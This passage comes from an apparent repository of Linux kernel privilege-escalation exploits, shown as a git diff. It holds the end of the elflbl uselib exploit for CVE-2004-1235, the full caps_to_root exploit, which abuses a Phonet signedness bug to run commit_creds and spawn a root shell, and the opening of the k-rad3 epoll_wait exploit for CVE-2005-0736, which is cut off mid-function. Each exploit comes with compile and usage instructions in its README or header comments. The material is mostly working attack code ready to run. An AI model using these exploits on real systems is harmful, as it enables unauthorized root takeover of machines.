if( !silent && !(pcnt%64) ) {
|
||||
printf("\r Wait... %c", smiley[ (pcnt/64)%8 ]);
|
||||
fflush(stdout);
|
||||
}
|
||||
pcnt++;
|
||||
}
|
||||
|
||||
// seems we raced, free mem
|
||||
r = sys_munmap(map_addr, map_base-map_addr + PAGE_SIZE);
|
||||
if(r) fatal("munmap 1", 0);
|
||||
r = sys_munmap(lib_addr, PAGE_SIZE);
|
||||
if(r) fatal("munmap 2", 0);
|
||||
|
||||
// relax kswapd
|
||||
sys_gettimeofday(&tm1, NULL);
|
||||
for(;;) {
|
||||
sys_sched_yield();
|
||||
sys_gettimeofday(&tm2, NULL);
|
||||
delta = tmdiff(&tm1, &tm2);
|
||||
if( wtime*1000000U <= (unsigned)delta ) break;
|
||||
}
|
||||
|
||||
// we need to check the PROT_EXEC flag
|
||||
map_flags = PROT_EXEC;
|
||||
check_vma_flags();
|
||||
if(!map_flags) {
|
||||
printf("\n VMAs reversed"); fflush(stdout);
|
||||
}
|
||||
|
||||
// write protect brk's VMA to fool vm_enough_memory()
|
||||
r = sys_mprotect((lib_addr + PAGE_SIZE), LIB_SIZE-PAGE_SIZE,
|
||||
PROT_READ|map_flags);
|
||||
if(-1==r) { fatal("mprotect brk", 0); }
|
||||
|
||||
// this will finally make the big VMA...
|
||||
sz = (0-lib_addr) - LIB_SIZE - PAGE_SIZE;
|
||||
expand:
|
||||
r = sys_madvise((void*)(lib_addr + PAGE_SIZE),
|
||||
LIB_SIZE-PAGE_SIZE, MADV_NORMAL);
|
||||
if(r) fatal("madvise", 0);
|
||||
r = sys_mremap(lib_addr + LIB_SIZE-PAGE_SIZE,
|
||||
PAGE_SIZE, sz, MREMAP_MAYMOVE, 0);
|
||||
if(-1==r) {
|
||||
if(0==sz) {
|
||||
fatal("mremap: expand VMA", 0);
|
||||
} else {
|
||||
sz -= PAGE_SIZE;
|
||||
goto expand;
|
||||
}
|
||||
}
|
||||
vma_start = lib_addr + PAGE_SIZE;
|
||||
vma_end = vma_start + sz + 2*PAGE_SIZE;
|
||||
printf("\n expanded VMA (0x%.8x-0x%.8x)", vma_start, vma_end);
|
||||
fflush(stdout);
|
||||
|
||||
// try to figure kernel layout
|
||||
signal(SIGCHLD, reaper);
|
||||
signal(SIGSEGV, segvcnt);
|
||||
signal(SIGBUS, segvcnt);
|
||||
scan_mm_start();
|
||||
|
||||
failed:
|
||||
fatal("try again", 0);
|
||||
|
||||
}
|
||||
|
||||
|
||||
// make fake ELF library
|
||||
void make_lib()
|
||||
{
|
||||
struct elfhdr eh;
|
||||
struct elf_phdr eph;
|
||||
static char tmpbuf[PAGE_SIZE];
|
||||
int fd;
|
||||
|
||||
// make our elf library
|
||||
umask(022);
|
||||
unlink(libname);
|
||||
fd=open(libname, O_RDWR|O_CREAT|O_TRUNC, 0755);
|
||||
if(fd<0) fatal("open lib ("LIBNAME" not writable?)", 0);
|
||||
memset(&eh, 0, sizeof(eh) );
|
||||
|
||||
// elf exec header
|
||||
memcpy(eh.e_ident, ELFMAG, SELFMAG);
|
||||
eh.e_type = ET_EXEC;
|
||||
eh.e_machine = EM_386;
|
||||
eh.e_phentsize = sizeof(struct elf_phdr);
|
||||
eh.e_phnum = 1;
|
||||
eh.e_phoff = sizeof(eh);
|
||||
write(fd, &eh, sizeof(eh) );
|
||||
|
||||
// section header:
|
||||
memset(&eph, 0, sizeof(eph) );
|
||||
eph.p_type = PT_LOAD;
|
||||
eph.p_offset = 4096;
|
||||
eph.p_filesz = 4096;
|
||||
eph.p_vaddr = lib_addr;
|
||||
eph.p_memsz = LIB_SIZE;
|
||||
eph.p_flags = PF_W|PF_R|PF_X;
|
||||
write(fd, &eph, sizeof(eph) );
|
||||
|
||||
// execable code
|
||||
lseek(fd, 4096, SEEK_SET);
|
||||
memset(tmpbuf, 0x90, sizeof(tmpbuf) );
|
||||
write(fd, &tmpbuf, sizeof(tmpbuf) );
|
||||
close(fd);
|
||||
}
|
||||
|
||||
|
||||
// move stack down #2
|
||||
void prepare_finish()
|
||||
{
|
||||
int r;
|
||||
static struct sysinfo si;
|
||||
|
||||
old_esp &= ~(PAGE_SIZE-1);
|
||||
old_esp -= PAGE_SIZE;
|
||||
task_size = ((unsigned)old_esp + 1 GB ) / (1 GB) * 1 GB;
|
||||
r = sys_munmap(old_esp, task_size-old_esp);
|
||||
if(r) fatal("unmap stack", 0);
|
||||
|
||||
// setup rt env
|
||||
uid = getuid();
|
||||
lib_addr = task_size - LIB_SIZE - PAGE_SIZE;
|
||||
if(map_base)
|
||||
map_addr = map_base;
|
||||
else
|
||||
map_base = map_addr = (lib_addr - PGD_SIZE) & ~(PGD_SIZE-1);
|
||||
printf("\n[+] moved stack %x, task_size=0x%.8x, map_base=0x%.8x",
|
||||
old_esp, task_size, map_base); fflush(stdout);
|
||||
|
||||
// check physical mem & prepare
|
||||
sysinfo(&si);
|
||||
addr_min = task_size + si.totalram;
|
||||
addr_min = (addr_min + PGD_SIZE - 1) & ~(PGD_SIZE-1);
|
||||
addr_max = addr_min + si.totalram;
|
||||
if((unsigned)addr_max >= 0xffffe000 || (unsigned)addr_max < (unsigned)addr_min)
|
||||
addr_max = 0xffffd000;
|
||||
|
||||
printf("\n[+] vmalloc area 0x%.8x - 0x%.8x", addr_min, addr_max);
|
||||
max_page = (addr_max - addr_min) / PAGE_SIZE;
|
||||
pagemap = malloc( max_page + 32 );
|
||||
if(!pagemap) fatal("malloc pagemap", 1);
|
||||
memset(pagemap, 0, max_page + 32);
|
||||
|
||||
// go go
|
||||
make_lib();
|
||||
exploitme();
|
||||
}
|
||||
|
||||
|
||||
// move stack down #1
|
||||
void prepare()
|
||||
{
|
||||
unsigned p=0;
|
||||
|
||||
environ = myenv;
|
||||
|
||||
p = sys_mmap2( 0, STACK_SIZE, PROT_READ|PROT_WRITE,
|
||||
MAP_PRIVATE|MAP_ANONYMOUS, 0, 0 );
|
||||
if(-1==p) fatal("mmap2 stack", 0);
|
||||
p += STACK_SIZE - 64;
|
||||
|
||||
__asm__("movl %%esp, %0 \n"
|
||||
"movl %1, %%esp \n"
|
||||
: : "m"(old_esp), "m"(p)
|
||||
);
|
||||
|
||||
prepare_finish();
|
||||
}
|
||||
|
||||
|
||||
void chldcnt(int v)
|
||||
{
|
||||
ccnt++;
|
||||
}
|
||||
|
||||
|
||||
// alloc slab objects...
|
||||
inline void do_wipe()
|
||||
{
|
||||
int *r, c=0, left=0;
|
||||
|
||||
__asm__("movl %%esp, %0" : : "m"(old_esp) );
|
||||
|
||||
old_esp = (old_esp - PGD_SIZE+1) & ~(PGD_SIZE-1);
|
||||
old_esp = map_base? map_base : old_esp;
|
||||
|
||||
for(;;) {
|
||||
if(left<=0)
|
||||
left = get_slab_objs("vm_area_struct");
|
||||
if(left <= SLAB_THRSH)
|
||||
break;
|
||||
left--;
|
||||
|
||||
map_flags ^= PROT_READ;
|
||||
old_esp -= PAGE_SIZE;
|
||||
r = (void*)sys_mmap2(old_esp, PAGE_SIZE, map_flags,
|
||||
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0 );
|
||||
if(MAP_FAILED == r)
|
||||
break;
|
||||
|
||||
if(c>SLAB_PER_CHLD)
|
||||
break;
|
||||
if( (c%1024)==0 ) {
|
||||
if(!c) printf("\n");
|
||||
printf("\r child %d VMAs %d", val, c);
|
||||
fflush(stdout);
|
||||
}
|
||||
c++;
|
||||
}
|
||||
printf("\r child %d VMAs %d", val, c);
|
||||
fflush(stdout);
|
||||
kill(getppid(), SIGUSR1);
|
||||
for(;;) pause();
|
||||
}
|
||||
|
||||
|
||||
// empty SLAB caches
|
||||
void wipe_slab()
|
||||
{
|
||||
signal(SIGUSR1, chldcnt);
|
||||
printf("\n[+] SLAB cleanup"); fflush(stdout);
|
||||
for(;;) {
|
||||
ccnt=0;
|
||||
val++;
|
||||
cpid = fork();
|
||||
if(!cpid)
|
||||
do_wipe();
|
||||
|
||||
while(!ccnt) sys_sched_yield();
|
||||
if( get_slab_objs("vm_area_struct") <= SLAB_THRSH )
|
||||
break;
|
||||
}
|
||||
signal(SIGUSR1, SIG_DFL);
|
||||
}
|
||||
|
||||
|
||||
void usage(char *n)
|
||||
{
|
||||
printf("\nUsage: %s\t-f forced stop\n", n);
|
||||
printf("\t\t-s silent mode\n");
|
||||
printf("\t\t-c command to run\n");
|
||||
printf("\t\t-n SMP iterations\n");
|
||||
printf("\t\t-d race delta us\n");
|
||||
printf("\t\t-w wait time seconds\n");
|
||||
printf("\t\t-l alternate lib name\n");
|
||||
printf("\t\t-a alternate addr hex\n");
|
||||
printf("\n");
|
||||
_exit(1);
|
||||
}
|
||||
|
||||
|
||||
// give -s for forced stop, -b to clean SLAB
|
||||
int main(int ac, char **av)
|
||||
{
|
||||
int r;
|
||||
|
||||
while(ac) {
|
||||
r = getopt(ac, av, "n:l:a:w:c:d:fsh");
|
||||
if(r<0) break;
|
||||
|
||||
switch(r) {
|
||||
|
||||
case 'f' :
|
||||
fstop = 1;
|
||||
break;
|
||||
|
||||
case 's' :
|
||||
silent = 1;
|
||||
break;
|
||||
|
||||
case 'n' :
|
||||
smp_max = atoi(optarg);
|
||||
break;
|
||||
|
||||
case 'd':
|
||||
if(1!=sscanf(optarg, "%u", &delta_max) || delta_max > 100000u )
|
||||
fatal("bad delta value", 0);
|
||||
break;
|
||||
|
||||
case 'w' :
|
||||
wtime = atoi(optarg);
|
||||
if(wtime<0) fatal("bad wait value", 0);
|
||||
break;
|
||||
|
||||
case 'l' :
|
||||
libname = strdup(optarg);
|
||||
break;
|
||||
|
||||
case 'c' :
|
||||
shellname = strdup(optarg);
|
||||
break;
|
||||
|
||||
case 'a' :
|
||||
if(1!=sscanf(optarg, "%x", &map_base))
|
||||
fatal("bad addr value", 0);
|
||||
map_base &= ~(PGD_SIZE-1);
|
||||
break;
|
||||
|
||||
case 'h' :
|
||||
default:
|
||||
usage(av[0]);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// basic setup
|
||||
uid = getuid();
|
||||
setpgrp();
|
||||
wipe_slab();
|
||||
prepare();
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
// milw0rm.com [2005-01-07]
|
19
98-Linux提权/2004/CVE-2004-1235/README.md
Normal file
19
98-Linux提权/2004/CVE-2004-1235/README.md
Normal file
@ -0,0 +1,19 @@
|
||||
# CVE-2004-1235
|
||||
|
||||
CVE-2004-1235
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2004-1235](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2004-1235)
|
||||
* [exp-db](https://www.exploit-db.com/exploits/744/)
|
||||
|
||||
## Kernels
|
||||
```
|
||||
2.4.29
|
||||
```
|
||||
|
||||
## Usage
|
||||
```
|
||||
$ gcc -O2 -fomit-frame-pointer elflbl.c -o elflbl
|
||||
```
|
||||
|
||||
|
285
98-Linux提权/2004/caps_to_root/15916.c
Normal file
285
98-Linux提权/2004/caps_to_root/15916.c
Normal file
@ -0,0 +1,285 @@
|
||||
/*
|
||||
* Linux Kernel CAP_SYS_ADMIN to root exploit
|
||||
* by Dan Rosenberg
|
||||
* @djrbliss on twitter
|
||||
*
|
||||
* Usage:
|
||||
* gcc -w caps-to-root.c -o caps-to-root
|
||||
* sudo setcap cap_sys_admin+ep caps-to-root
|
||||
* ./caps-to-root
|
||||
*
|
||||
* This exploit is NOT stable:
|
||||
*
|
||||
* * It only works on 32-bit x86 machines
|
||||
*
|
||||
* * It only works on >= 2.6.34 kernels (it could probably be ported back, but
|
||||
* it involves winning a race condition)
|
||||
*
|
||||
* * It requires symbol support for symbols that aren't included by default in
|
||||
* several distributions
|
||||
*
|
||||
* * It requires the Phonet protocol, which may not be compiled on some
|
||||
* distributions
|
||||
*
|
||||
* * You may experience problems on multi-CPU systems
|
||||
*
|
||||
* It has been tested on a stock Ubuntu 10.10 installation. I wouldn't be
|
||||
* surprised if it doesn't work on other distributions.
|
||||
*
|
||||
* ----
|
||||
*
|
||||
* Lately there's been a lot of talk about how a large subset of Linux
|
||||
* capabilities are equivalent to root. CAP_SYS_ADMIN is a catch-all
|
||||
* capability that, among other things, allows mounting filesystems and
|
||||
* injecting commands into an administrator's shell - in other words, it
|
||||
* trivially allows you to get root. However, I found another way to get root
|
||||
* from CAP_SYS_ADMIN...the hard way.
|
||||
*
|
||||
* This exploit leverages a signedness error in the Phonet protocol. By
|
||||
* specifying a negative protocol index, I can craft a series of fake
|
||||
* structures in userspace and cause the incrementing of an arbitrary kernel
|
||||
* address, which I then leverage to execute arbitrary kernel code.
|
||||
*
|
||||
* Greets to spender, cloud, jono, kees, pipacs, redpig, taviso, twiz, stealth,
|
||||
* and bla.
|
||||
*
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/socket.h>
|
||||
#include <errno.h>
|
||||
#include <string.h>
|
||||
#include <linux/capability.h>
|
||||
#include <sys/utsname.h>
|
||||
#include <sys/mman.h>
|
||||
#include <unistd.h>
|
||||
|
||||
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
|
||||
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
|
||||
_commit_creds commit_creds;
|
||||
_prepare_kernel_cred prepare_kernel_cred;
|
||||
|
||||
int getroot(void)
|
||||
{
|
||||
|
||||
commit_creds(prepare_kernel_cred(0));
|
||||
return 0;
|
||||
|
||||
}
|
||||
|
||||
int konami(void)
|
||||
{
|
||||
|
||||
/* Konami code! */
|
||||
asm("inc %edx;" /* UP */
|
||||
"inc %edx;" /* UP */
|
||||
"dec %edx;" /* DOWN */
|
||||
"dec %edx;" /* DOWN */
|
||||
"shl %edx;" /* LEFT */
|
||||
"shr %edx;" /* RIGHT */
|
||||
"shl %edx;" /* LEFT */
|
||||
"shr %edx;" /* RIGHT */
|
||||
"push %ebx;" /* B */
|
||||
"pop %ebx;"
|
||||
"push %eax;" /* A */
|
||||
"pop %eax;"
|
||||
"mov $getroot, %ebx;"
|
||||
"call *%ebx;"); /* START */
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* thanks spender... */
|
||||
unsigned long get_kernel_sym(char *name)
|
||||
{
|
||||
FILE *f;
|
||||
unsigned long addr;
|
||||
char dummy;
|
||||
char sname[512];
|
||||
struct utsname ver;
|
||||
int ret;
|
||||
int rep = 0;
|
||||
int oldstyle = 0;
|
||||
|
||||
f = fopen("/proc/kallsyms", "r");
|
||||
if (f == NULL) {
|
||||
f = fopen("/proc/ksyms", "r");
|
||||
if (f == NULL)
|
||||
return 0;
|
||||
oldstyle = 1;
|
||||
}
|
||||
|
||||
while(ret != EOF) {
|
||||
if (!oldstyle)
|
||||
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
||||
else {
|
||||
ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
|
||||
if (ret == 2) {
|
||||
char *p;
|
||||
if (strstr(sname, "_O/") || strstr(sname, "_S."))
|
||||
continue;
|
||||
p = strrchr(sname, '_');
|
||||
if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
|
||||
p = p - 4;
|
||||
while (p > (char *)sname && *(p - 1) == '_')
|
||||
p--;
|
||||
*p = '\0';
|
||||
}
|
||||
}
|
||||
}
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sname)) {
|
||||
fprintf(stdout, " [+] Resolved %s to %p\n", name, (void *)addr);
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
|
||||
fclose(f);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int main(int argc, char * argv[])
|
||||
{
|
||||
|
||||
int sock, proto, i, offset = -1;
|
||||
unsigned long proto_tab, landing, target, pn_ops, pn_ioctl, *ptr;
|
||||
void * map;
|
||||
|
||||
/* Create a socket to load the module for symbol support */
|
||||
printf("[*] Testing Phonet support and CAP_SYS_ADMIN...\n");
|
||||
sock = socket(PF_PHONET, SOCK_DGRAM, 0);
|
||||
|
||||
if(sock < 0) {
|
||||
if(errno == EPERM)
|
||||
printf("[*] You don't have CAP_SYS_ADMIN.\n");
|
||||
|
||||
else
|
||||
printf("[*] Failed to open Phonet socket.\n");
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Resolve kernel symbols */
|
||||
printf("[*] Resolving kernel symbols...\n");
|
||||
|
||||
proto_tab = get_kernel_sym("proto_tab");
|
||||
pn_ops = get_kernel_sym("phonet_dgram_ops");
|
||||
pn_ioctl = get_kernel_sym("pn_socket_ioctl");
|
||||
commit_creds = get_kernel_sym("commit_creds");
|
||||
prepare_kernel_cred = get_kernel_sym("prepare_kernel_cred");
|
||||
|
||||
if(!proto_tab || !commit_creds || !prepare_kernel_cred ||
|
||||
!pn_ops || !pn_ioctl) {
|
||||
printf("[*] Failed to resolve kernel symbols.\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Thanks bla, for reminding me how to do basic math */
|
||||
landing = 0x20000000;
|
||||
proto = 1 << 31 | (landing - proto_tab) >> 2;
|
||||
|
||||
/* Map it */
|
||||
printf("[*] Preparing fake structures...\n");
|
||||
|
||||
map = mmap((void *)landing, 0x10000,
|
||||
PROT_READ | PROT_WRITE | PROT_EXEC,
|
||||
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
|
||||
|
||||
if(map == MAP_FAILED) {
|
||||
printf("[*] Failed to map landing area.\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Pointer to phonet_protocol struct */
|
||||
ptr = (unsigned long *)landing;
|
||||
ptr[0] = &ptr[1];
|
||||
|
||||
/* phonet_protocol struct */
|
||||
for(i = 1; i < 4; i++)
|
||||
ptr[i] = &ptr[4];
|
||||
|
||||
/* proto struct */
|
||||
for(i = 4; i < 204; i++)
|
||||
ptr[i] = &ptr[204];
|
||||
|
||||
/* First, do a test run to calculate any offsets */
|
||||
target = 0x30000000;
|
||||
|
||||
/* module struct */
|
||||
for(i = 204; i < 404; i++)
|
||||
ptr[i] = target;
|
||||
|
||||
/* Map it */
|
||||
map = mmap((void *)0x30000000, 0x2000000,
|
||||
PROT_READ | PROT_WRITE | PROT_EXEC,
|
||||
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
|
||||
|
||||
if(map == MAP_FAILED) {
|
||||
printf("[*] Failed to map landing area.\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
printf("[*] Calculating offsets...\n");
|
||||
|
||||
socket(PF_PHONET, SOCK_DGRAM, proto);
|
||||
|
||||
ptr = 0x30000000;
|
||||
for(i = 0; i < 0x800000; i++) {
|
||||
if(ptr[i] != 0) {
|
||||
offset = i * sizeof(void *);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if(offset == -1) {
|
||||
printf("[*] Test run failed.\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* MSB of pn_ioctl */
|
||||
target = pn_ops + 10 * sizeof(void *) - 1 - offset;
|
||||
|
||||
/* Re-fill the module struct */
|
||||
ptr = (unsigned long *)landing;
|
||||
for(i = 204; i < 404; i++)
|
||||
ptr[i] = target;
|
||||
|
||||
/* Push pn_ioctl fptr into userspace */
|
||||
printf("[*] Modifying function pointer...\n");
|
||||
|
||||
landing = pn_ioctl;
|
||||
while((landing & 0xff000000) != 0x10000000) {
|
||||
socket(PF_PHONET, SOCK_DGRAM, proto);
|
||||
landing += 0x01000000;
|
||||
}
|
||||
|
||||
/* Map it */
|
||||
map = mmap((void *)(landing & ~0xfff), 0x10000,
|
||||
PROT_READ | PROT_WRITE | PROT_EXEC,
|
||||
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
|
||||
|
||||
if(map == MAP_FAILED) {
|
||||
printf("[*] Failed to map payload area.\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Copy payload */
|
||||
memcpy((void *)landing, &konami, 1024);
|
||||
|
||||
printf("[*] Executing Konami code at ring0...\n");
|
||||
ioctl(sock, 0, NULL);
|
||||
|
||||
if(getuid()) {
|
||||
printf("[*] Exploit failed to get root.\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
printf("[*] Konami code worked! Have a root shell.\n");
|
||||
execl("/bin/sh", "/bin/sh", NULL);
|
||||
|
||||
}
|
25
98-Linux提权/2004/caps_to_root/README.md
Normal file
25
98-Linux提权/2004/caps_to_root/README.md
Normal file
@ -0,0 +1,25 @@
|
||||
# caps_to_root
|
||||
|
||||
caps_to_root
|
||||
|
||||
Vulnerability reference:
|
||||
* [N/A](https://www.exploit-db.com/exploits/15916/)
|
||||
|
||||
## Kernels
|
||||
```
|
||||
2.6.34, 2.6.35, 2.6.36
|
||||
```
|
||||
|
||||
## Usage
|
||||
```
|
||||
gcc -w caps-to-root.c -o caps-to-root
|
||||
sudo setcap cap_sys_admin+ep caps-to-root
|
||||
./caps-to-root
|
||||
```
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
|
BIN
98-Linux提权/2004/caps_to_root/root.png
Normal file
BIN
98-Linux提权/2004/caps_to_root/root.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 99 KiB |
730
98-Linux提权/2005/CVE-2005-0736/1397.c
Normal file
730
98-Linux提权/2005/CVE-2005-0736/1397.c
Normal file
@ -0,0 +1,730 @@
|
||||
/*
|
||||
* k-rad3.c - linux 2.6.11 and below CPL 0 kernel local exploit v3
|
||||
* Discovered and original exploit coded Jan 2005 by sd <sd@fucksheep.org>
|
||||
*
|
||||
*********************************************************************
|
||||
*
|
||||
* Modified 2005/9 by alert7 <alert7@xfocus.org>
|
||||
* XFOCUS Security Team http://www.xfocus.org
|
||||
*
|
||||
* gcc -o k-rad3 k-rad3.c -static -O2
|
||||
*
|
||||
* tested succeed :
|
||||
* on default installed RHEL4(2.6.9-5.EL and 2.6.9-5.ELsmp)
|
||||
* 2.6.9-5.EL ./k-rad3 -p 2
|
||||
* 2.6.9-5.ELsmp ./k-rad3 -a -p 7
|
||||
* on default installed maglic linux 1.2
|
||||
* MagicLinux 2.6.9 #1 ./k-rad3 -t 1 -p 2
|
||||
*
|
||||
* thank watercloud tested maglic linux 1.2
|
||||
* thank eist provide RHEL4 to test
|
||||
* thank sd <sd@fucksheep.org> share his stuff.
|
||||
* thank xfocus & xfocus's firends
|
||||
*
|
||||
*
|
||||
* TODO:
|
||||
* CASE 1: use stack > 0xc0000000
|
||||
* CASE 2: CONFIG_X86_PAE define ,but cpu flag no pse
|
||||
*
|
||||
*[alert7@MagicLinux ~]$ ./k-rad3 -h
|
||||
*[ k-rad3 - <=linux 2.6.11 CPL 0 kernel exploit ]
|
||||
*[ Discovered Jan 2005 by sd <sd@fucksheep.org> ]
|
||||
*[ Modified 2005/9 by alert7 <alert7@xfocus.org> ]
|
||||
*
|
||||
*Usage: ./k-rad3
|
||||
* -s forced cpu flag pse
|
||||
* -a define CONFIG_X86_PAE,default none
|
||||
* -e <num> have two kernel code,default 0
|
||||
* -p <num> alloc pages(4k) ,default 1. Increase from 1 to 7
|
||||
* The higher number the more likely it will crash
|
||||
* -t <num> default 0
|
||||
* 0 :THREAD_SIZE is 4096;otherwise THREAD_SIZE is 8192
|
||||
*
|
||||
*[alert7@MagicLinux ~]$ ./k-rad3 -t 1 -p 2
|
||||
*[ k-rad3 - <=linux 2.6.11 CPL 0 kernel exploit ]
|
||||
*[ Discovered Jan 2005 by sd <sd@fucksheep.org> ]
|
||||
*[ Modified 2005/9 by alert7 <alert7@xfocus.org> ]
|
||||
*[+] try open /proc/cpuinfo .. ok!!
|
||||
*[+] find cpu flag pse in /proc/cpuinfo
|
||||
*[+] CONFIG_X86_PAE :none
|
||||
*[+] Cpu flag: pse ok
|
||||
*[+] Exploit Way : 0
|
||||
*[+] Use 2 pages (one page is 4K ),rewrite 0xc0000000--(0xc0002000 + n)
|
||||
*[+] thread_size 1 (0 :THREAD_SIZE is 4096;otherwise THREAD_SIZE is 8192
|
||||
*[+] idtr.base 0xc0461000 ,base 0xc0000000
|
||||
*[+] kwrite base 0xc0000000, buf 0xbffed750,num 8196
|
||||
*[+] idt[0x7f] addr 0xffc003f8
|
||||
*[+] j00 1u(k7 k1d!
|
||||
*[root@k-rad3 ~] #id
|
||||
*uid=0(root) gid=0(root) groups=500(alert7)
|
||||
*
|
||||
*
|
||||
* Linux Kernel <= 2.6.11 "sys_epoll_wait" Local integer overflow Exploit
|
||||
*
|
||||
* "it is possible to partially overwrite low kernel ( >= 2.6 <= 2.6.11)
|
||||
* memory due to integer overflow in sys_epoll_wait and misuse of
|
||||
* __put_user in ep_send_events"
|
||||
* Georgi Guninski: http://seclists.org/lists/fulldisclosure/2005/Mar/0293.html
|
||||
*
|
||||
*********************************************************************
|
||||
*
|
||||
*
|
||||
* In memory of pwned.c (uselib)
|
||||
*
|
||||
* - Redistributions of source code is not permitted.
|
||||
* - Redistributions in the binary form is not permitted.
|
||||
* - Redistributions of the above copyright notice, this list of conditions,
|
||||
* and the following disclaimer is permitted.
|
||||
* - By proceeding to a Redistribution and under any form of the Program
|
||||
* the Distributor is granting ownership of his Resources without
|
||||
* limitations to the copyright holder(s).
|
||||
*
|
||||
*
|
||||
* Since we already owned everyone, theres no point keeping this private
|
||||
* anymore.
|
||||
*
|
||||
* http://seclists.org/lists/fulldisclosure/2005/Mar/0293.html
|
||||
*
|
||||
* Thanks to our internet hero georgi guninski for being such incredible
|
||||
* whitehat disclosing one of the most reliable kernel bugs.
|
||||
* You saved the world, man, we owe you one!
|
||||
*
|
||||
* This version is somewhat broken, but skilled reader will get an idea.
|
||||
* Well, at least let the scriptkids have fun for a while.
|
||||
*
|
||||
* Thanks to all who helped me developing/testing this, you know who you are,
|
||||
* and especially to my gf for guidance while coding this.
|
||||
*
|
||||
*/
|
||||
|
||||
#define _GNU_SOURCE
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/epoll.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/resource.h>
|
||||
#include <linux/capability.h>
|
||||
#include <asm/unistd.h>
|
||||
#ifndef __USE_GNU
|
||||
#define __USE_GNU
|
||||
#endif
|
||||
#include <unistd.h>
|
||||
#include <errno.h>
|
||||
#include <signal.h>
|
||||
#include <string.h>
|
||||
|
||||
/**
|
||||
* Relationship Variables
|
||||
*
|
||||
* 1: CONFIG_X86_PAE
|
||||
* see /lib/modules/`uname -r`/build/.config
|
||||
* 1.1: pse
|
||||
* 2: THREAD_SIZE
|
||||
* see include/asm/thread_info.h THREAD_SIZE define
|
||||
*/
|
||||
|
||||
|
||||
#define MAP (0xfffff000 - (1023*4096))
|
||||
#define MAP_PAE (0xfffff000 - (511*4096))
|
||||
#define MKPTE(addr) ((addr & (~4095)) | 0x27)
|
||||
#define MKPMD(x) (0x1e3|0x004)
|
||||
|
||||
////////////////////////////////////////////////
|
||||
|
||||
#define KRADPS1 "k-rad3"
|
||||
|
||||
#define kB * 1024
|
||||
#define MB * 1024 kB
|
||||
#define GB * 1024 MB
|
||||
|
||||
#define KRS "\033[1;30m[ \033[1;37m"
|
||||
#define KRE "\033[1;30m ]\033[0m"
|
||||
#define KRAD "\033[1;30m[\033[1;37m*\033[1;30m]\033[0m "
|
||||
#define KRADP "\033[1;30m[\033[1;37m+\033[1;30m]\033[0m "
|
||||
#define KRADM "\033[1;30m[\033[1;37m-\033[1;30m]\033[0m "
|
||||
|
||||
#define SET_IDT_GATE(idt,ring,s,addr) \
|
||||
(idt).off1 = addr & 0xffff; \
|
||||
(idt).off2 = addr >> 16; \
|
||||
(idt).sel = s; \
|
||||
(idt).none = 0; \
|
||||
(idt).flags = 0x8E | (ring << 5);
|
||||
|
||||
//config val
|
||||
static int havepse = 0;
|
||||
static int definePAE = 0;
|
||||
static int exploitway = 0;
|
||||
static int npages = 1;
|
||||
static int thread_size = 0;
|
||||
|
||||
|
||||
static uid_t uid = 0;
|
||||
static unsigned long long *clear1;
|
||||
static char * progargv0;
|
||||
|
||||
struct idtr {
|
||||
unsigned short limit;
|
||||
unsigned int base;
|
||||
} __attribute__ ((packed));
|
||||
|
||||
struct idt {
|
||||
unsigned short off1;
|
||||
unsigned short sel;
|
||||
unsigned char none,flags;
|
||||
unsigned short off2;
|
||||
} __attribute__ ((packed));
|
||||
|
||||
|
||||
|
||||
#define __syscall_return(type, res) \
|
||||
do { \
|
||||
if ((unsigned long)(res) >= (unsigned long)(-125)) { \
|
||||
errno = -(res); \
|
||||
res = -1; \
|
||||
} \
|
||||
return (type) (res); \
|
||||
} while (0)
|
||||
|
||||
|
||||
#define _capget_macro(type,name,type1,arg1,type2,arg2) \
|
||||
type name(type1 arg1,type2 arg2) \
|
||||
{ \
|
||||
long __res; \
|
||||
__asm__ volatile ( "int $0x80" \
|
||||
: "=a" (__res) \
|
||||
: "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2))); \
|
||||
__syscall_return(type,__res); \
|
||||
}
|
||||
|
||||
static inline _capget_macro(int,capget,void *,a,void *,b);
|
||||
|
||||
static int THREAD_SIZE_MASK =(-4096);
|
||||
|
||||
|
||||
static void
|
||||
fatal(const char *message)
|
||||
{
|
||||
system("uname -a");
|
||||
printf("[-] %s\n",message);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
void kernel(unsigned * task)
|
||||
{
|
||||
unsigned * addr = task;
|
||||
/* looking for uids */
|
||||
|
||||
*clear1 = 0;
|
||||
|
||||
while (addr[0] != uid || addr[1] != uid ||
|
||||
addr[2] != uid || addr[3] != uid
|
||||
)
|
||||
addr++;
|
